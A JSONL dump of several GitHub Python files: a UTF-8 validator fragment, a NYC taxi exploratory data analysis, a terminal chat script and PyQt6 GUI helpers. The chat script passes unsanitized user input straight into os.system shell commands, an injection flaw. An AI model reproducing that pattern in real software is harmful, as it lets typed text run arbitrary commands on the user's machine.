numberOfBytes == 0:\n continue\n\n if numberOfBytes == 1 or numberOfBytes > 4:\n return False\n else:\n if not (bin_rep[0] == \"1\" and bin_rep[1] == \"0\"):\n return False\n\n numberOfBytes -= 1\n\n return numberOfBytes == 0\n","repo_name":"Torbary/alx-interview","sub_path":"0x04-utf8_validation/0-validate_utf8.py","file_name":"0-validate_utf8.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71049523771","text":"import numpy as np\n\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\nimport pandas as pd\n\nimport geopy as geo\n\nfrom geopy.distance import vincenty as geods\n\n\n\ndata_root = \"../input/\"\n\ntrain_data_path = data_root + \"/train.csv\"\n\ntest_data_path = data_root + \"/test.csv\"\ntrain_df = pd.read_csv(train_data_path)\n\ntest_df = pd.read_csv(test_data_path)\ntrain_df.head()\nprint(\"number of rows: \",train_df.count()[0])\n\nprint(\"number of cols: \",train_df.count(axis=1)[0])\nnp.sum(train_df.isnull())\ntrain_df['pickup_datetime'] = pd.to_datetime(train_df['pickup_datetime'])\n\ntrain_df['dropoff_datetime'] = pd.to_datetime(train_df['dropoff_datetime'])\ntrain_df['pickup_hour'] = train_df['pickup_datetime'].dt.hour\n\ntrain_df['pickup_day'] = train_df['pickup_datetime'].dt.dayofweek\n\ntrain_df['pickup_day_name'] = train_df['pickup_datetime'].dt.weekday_name\n\ntrain_df['dropoff_day'] = train_df['dropoff_datetime'].dt.dayofweek\n\ntrain_df['trip_week'] = train_df['dropoff_datetime'].dt.week\n\ntrain_df['trip_month'] = train_df['dropoff_datetime'].dt.month\n\ntrain_df['trip_year'] = train_df['dropoff_datetime'].dt.year\ntrain_df['pickup_start_point'] = train_df[['pickup_latitude','pickup_longitude']].apply(geo.Point,axis=1)\n\n\n\ntrain_df['pickup_dropoff_point'] = train_df[['dropoff_latitude','dropoff_longitude']].apply(geo.Point,axis=1)\n\n\n\ntrain_df['raw_distance'] = train_df[['pickup_start_point','pickup_dropoff_point']].apply(lambda x: geods(x[0][:2],x[1][:2]).meters,axis=1)\nprint(train_df['trip_year'].min(),train_df['trip_year'].max())\n\nprint(train_df['trip_month'].min(),train_df['trip_month'].max())\n\nprint(train_df['pickup_hour'].min(),train_df['pickup_hour'].max())\ntrain_df['raw_distance'].describe()\ntrain_df['trip_duration'].describe()\nsns.distplot(train_df['trip_duration'],hist=False)\nsns.regplot(x=\"trip_duration\", y=\"raw_distance\", data=train_df,fit_reg=False)\ntrain_df['distance_duration_ratio'] = train_df['trip_duration'] / train_df['raw_distance']\nlower_bound = train_df['distance_duration_ratio'].quantile(0.02)\n\nupper_bound = train_df['distance_duration_ratio'].quantile(0.98)\ntrain_df = train_df[train_df['distance_duration_ratio'] >= lower_bound]\n\ntrain_df = train_df[train_df['distance_duration_ratio'] <= upper_bound]\nsns.regplot(x=\"trip_duration\", y=\"raw_distance\", data=train_df,fit_reg=False)\nsns.distplot(train_df['trip_duration'])\nsns.distplot(np.log(train_df['trip_duration']))\nsns.distplot(train_df['raw_distance'])\nsns.distplot(np.log(train_df['raw_distance']))\nsns.countplot(x=train_df['trip_month'])\nsns.countplot(x=train_df['passenger_count'])\nsns.countplot(x=train_df['trip_week'])\nsns.countplot(x=train_df['pickup_day_name'])\nsns.countplot(x=train_df['pickup_hour'])\nsns.countplot(x=train_df['vendor_id'])\nsns.countplot(x=train_df['store_and_fwd_flag'])\n\nprint('Y count:', np.sum(train_df['store_and_fwd_flag'] == 'Y'))\nsns.countplot(x='pickup_day_name',hue='pickup_hour',data=train_df,ax = ax)\n_,ax = plt.subplots(1,1,figsize=(10,10))\n\nsns.countplot(x='pickup_day_name',hue='pickup_hour',data=train_df,ax = ax)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n_,ax = plt.subplots(1,1,figsize=(10,10))\n\nsns.countplot(x='trip_month',hue='pickup_day_name',data=train_df,ax = ax)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\nsns.boxplot(x='vendor_id',y='trip_duration',data=train_df)\n\nplt.ylim(0, 3000)\nsns.boxplot(x='vendor_id',y='raw_distance',data=train_df)\n\nplt.ylim(0, 10000)\ntrain_df['trip_duration_categorized'] = pd.qcut(train_df['trip_duration'],3,labels=['short','medium','long'])\n\ntrain_df['trip_distance_categorized'] = pd.qcut(train_df['raw_distance'],3,labels=['short','medium','long'])\nsns.boxplot(x='trip_duration_categorized',y='trip_duration',data=train_df,)\n\nplt.ylim(0, 3000)\nsns.boxplot(x='trip_duration_categorized',y='trip_duration',hue='trip_distance_categorized',data=train_df)\n\nplt.ylim(0, 2000)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.,title='distance')\n_,ax = plt.subplots(1,1,figsize=(10,10))\n\nsns.countplot(x='trip_month',hue='trip_duration_categorized',data=train_df,ax = ax)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n_,ax = plt.subplots(1,1,figsize=(10,10))\n\nsns.countplot(x='pickup_day_name',hue='trip_duration_categorized',data=train_df,ax = ax)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n_,ax = plt.subplots(1,1,figsize=(10,10))\n\nsns.countplot(x='pickup_day_name',hue='trip_distance_categorized',data=train_df,ax = ax)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n_,ax = plt.subplots(1,1,figsize=(10,10))\n\nsns.countplot(x='passenger_count',hue='trip_distance_categorized',data=train_df,ax = ax)\n\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)","repo_name":"aorursy/new-nb-1","sub_path":"ahmedanis03_an-eda-trip-in-nyc-taxi-rides.py","file_name":"ahmedanis03_an-eda-trip-in-nyc-taxi-rides.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7548768879","text":"#!/usr/bin/env python3\n#Authors: Jackson Martin, Cole Vahey\nimport os\nimport colors as c\nimport time as t\nimport user\nimport load\n\ndef run():\n option=input(c.yellow+\"Would you like to scan for new messages? or send a new message? (1), (2)\"+c.reset+\" >>>\"+c.violet)\n if option == '1':\n os.system('bash receive')\n clean=input(c.yellow+'Would you like to delete their message? (Y/N)'+c.reset+' >>>'+c.violet).strip().lower()\n if clean == 'y':\n os.system('bash cleanup')\n print(c.yellow+'Message deleted!')\n elif clean == 'n':\n print(c.yellow+'Message saved!')\n else:\n print(c.yellow+'No answer provided. Message saved.')\n input('[Press enter to continue]')\n print(c.clear)\n run()\n elif option == '2':\n prompt = input(c.yellow+\"What would you like to say?\"+c.reset+\" >>> \"+c.violet)\n os.system('date >> .talk.txt')\n os.system('echo '+user.User.name.title()+': '+prompt+' >> .talk.txt')\n os.system('echo '+user.User.name.title()+': '+prompt+' >> .history.txt')\n os.system('bash notify')\n input('Message sent! [Press enter]')\n print(c.clear)\n else:\n print('Invalid Response')\n t.sleep(1)\n print(c.clear)\n run()\n\nif __name__ == '__main__':\n print(c.clear)\n print(c.yellow+\"Chatting!\")\n load.load()\n while True:\n try:\n run()\n except(KeyboardInterrupt):\n print(\"Goodbye!\")\n exit()\n except(EOFError):\n print(\"Goodbye!\")\n exit()\n\n","repo_name":"jajaio/mult","sub_path":".mult/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72735174332","text":"from PyQt6.QtWidgets import *\nfrom PyQt6.QtGui import *\nfrom PyQt6.QtCore import *\nfrom utility.gui.font import Font\nfrom utility import constants as const\n\n# Render a code area in the interface.\ndef codearea(disabled=False) -> QTextEdit:\n textarea = QTextEdit()\n textarea.setStyleSheet(f\"background-color: {const.BLACK}; color: {const.WHITE}; padding: 20px\")\n textarea.setFont(Font(12).mono)\n textarea.setReadOnly(disabled)\n textarea.setTabStopDistance(8) # 2 spaces for 1 tab.\n \n # Return the component.\n return textarea\n\n# Render a table based on the given data.\ndef table(colnames: list) -> QTableWidget:\n # Set the properties for the table.\n table = QTableWidget()\n table.setShowGrid(False)\n table.setStyleSheet(\"QTableView::section { border: none } QHeaderView::section { border: none; background-color: #ffedd5; color: \" + const.ORANGE + \"; }\")\n\n # Set the table headers.\n table.setColumnCount(len(colnames))\n table.setFixedWidth(120 * len(colnames))\n table.setHorizontalHeaderLabels(colnames)\n table.horizontalHeader().setStyleSheet(f\"background-color: #ffedd5; color: {const.ORANGE}; border: none\")\n table.horizontalHeader().setFont(Font(12).bold)\n\n # Display the table\n table.show()\n\n # Return the component.\n return table\n\n# Render a button with an icon.\ndef button(label: str, icon_file: str, color = const.ORANGE) -> QPushButton:\n button = QPushButton(f\"\\t{label.upper()}\")\n button.setStyleSheet(\"QPushButton { background-color: transparent; border: 1px solid \" + color + \";\" + \"color:\" + color + \"; border-radius: 3 } QPushButton:hover { color: #fefefe; background-color: \" + color + \"; }\")\n \n button.setIcon(QIcon(f\"{const.ASSETS_FOLDER}{icon_file}\"))\n button.setFont(Font(10).bold)\n button.setFixedHeight(32)\n \n # Return the component.\n return button","repo_name":"brlimarce/lmao-code","sub_path":"utility/gui/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}